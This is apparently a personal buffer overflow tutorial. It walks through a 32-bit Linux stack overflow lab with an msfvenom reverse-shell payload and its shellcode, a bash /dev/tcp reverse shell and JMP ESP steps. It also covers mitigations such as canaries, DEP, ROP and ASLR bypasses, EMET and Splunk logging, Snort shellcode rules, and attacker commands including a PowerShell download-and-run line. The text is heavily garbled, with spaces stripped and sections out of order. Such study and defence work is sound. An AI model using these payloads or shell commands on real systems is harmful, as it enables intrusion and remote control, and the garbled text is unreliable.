xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

